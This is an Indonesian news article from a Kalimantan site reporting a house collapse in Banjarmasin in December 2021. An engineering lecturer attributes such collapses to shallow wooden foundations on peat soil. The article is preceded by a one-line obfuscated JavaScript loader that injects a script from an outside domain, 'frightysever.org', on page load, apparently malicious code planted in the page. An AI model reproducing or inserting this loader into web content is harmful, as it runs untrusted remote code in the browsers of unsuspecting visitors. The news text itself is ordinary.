(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN- Lagi-lagi insiden rumah ambruk terjadi di Banjarmasin. Kali ini menimpa sebuah rumah di Jalan Pramuka Komplek Melati Indah Jalur Satu Kel Sungai Lulut Kecamatan Banjarmasin Timur, Banjarmasin.
Peristiwa tersebut terjadi Senin (13/12/2021) pukul 23.00 Wita. Tidak ada korban pada kejadian ini, meskipun tiga orang sempat terjebak di dalam rumah. Untuk saat ini penghuni rumah yang sempat terjebak telah dievakuasi ke rumah kerabatnya.
Robohnya bangunan rumah tersebut juga membuat kaget dan panik warga sekitar. Yosie, warga sekitar yang ditemui Kanalkalimantan.com mengatakan, robohnya rumah dikarenakan pergeseran fondasi rumah.“Posisi rumah sudah terlihat miring sejak Senin pagi,” katanya.
Terkait maraknya rumah yang ambruk di Banjarmasin, dosen Teknik Universitas Lambung Mangkurat (ULM) Akbar Rahman Ph.D mengatakan, karena ketidaksesuaian antara fondasi bangunan dan beban.
Dalam Hematnya, banyak faktor yang mempengaruhi layak tidaknya suatu bangunan yang menyebabkan bisa miring hingga roboh. Faktor di luar bangunan seperti kondisi tanah dan aktivitas sekitar lingkungan.
“Kita ambil contoh bangunan ruko yang setinggi empat lantai, fondasi yang di gunakan oleh ruko tersebut tentu akan mempengaruhi tanah di sekitarnya karena adanya tekanan,” katanya.
“Khusus di Banjarmasin Kebanyakan adanya ketidaksesuaian antara fondasi dengan beban, bangunan beton tapi ditopang oleh fondasi kayu makanya banyak bangunan yang miring bahkan roboh,” kata Akbar Rahman.
Faktanya, kondisi tanah di Banjarmasin ini berdiri di atas lahan gambut. Jadi untuk biaya membangun rumah atau gedung 30 persen dari total biaya habis di fondasi.
Baca juga: DPRD Barsel Minta Pemerintah Pantau Harga Bahan Pokok Jelang Natal dan Tahun Baru
“Untuk pemancangan kayu galam idealnya itu di kedalaman tanah sekitar 12 meter, namun sekarang itu hanya sekitar 7 meter padahal itu belum sampai ke tanah keras yang ada di bawahnya sehingga kayu galam yang di pancang itu masih mengapung,” terangnya.
Jadi bisa dikatakan, fondasi kayu bahkan termasuk kayu ulin sekalipun masuk kategori semi permanen. Tapi sebaliknya, kalau fondasi beton itu semakin lama semakin kuat karena kering. (kanalkalimantan.com/seno)
Reporter: seno
Editor: cell
KANALKALIMANTAN.COM, JAKARTA - Indonesia adalah surganya wisata petualangan dan potensi olahraga ekstrem seperti selancar ombak… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Layanan Haji Luar Negeri Subhan Cholid mengungkapkan Pemerintah Arab Saudi menerbitkan… Read More
KANALKALIMANTAN.COM, JAKARTA - Transformasi yang terus dilakukan PLN sukses membuat pendapatan usaha meningkat sebesar 10,48%… Read More
KANALKALIMANTAN.COM, AMUNTAI - Melalui program “HSU Taqwa”, Badan Amil Zakat Nasional (Baznas) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, MARTAPURA - Seorang peziarah diduga ditipu oknum warga pengelola kubah makam orangtua Syekh Muhammad… Read More
KANALKALIMANTAN.COM – “Hemat pangkal kaya” dan “Sedikit demi sedikit lama-lama menjadi bukit”. Begitu peribahasa yang… Read More
This website uses cookies.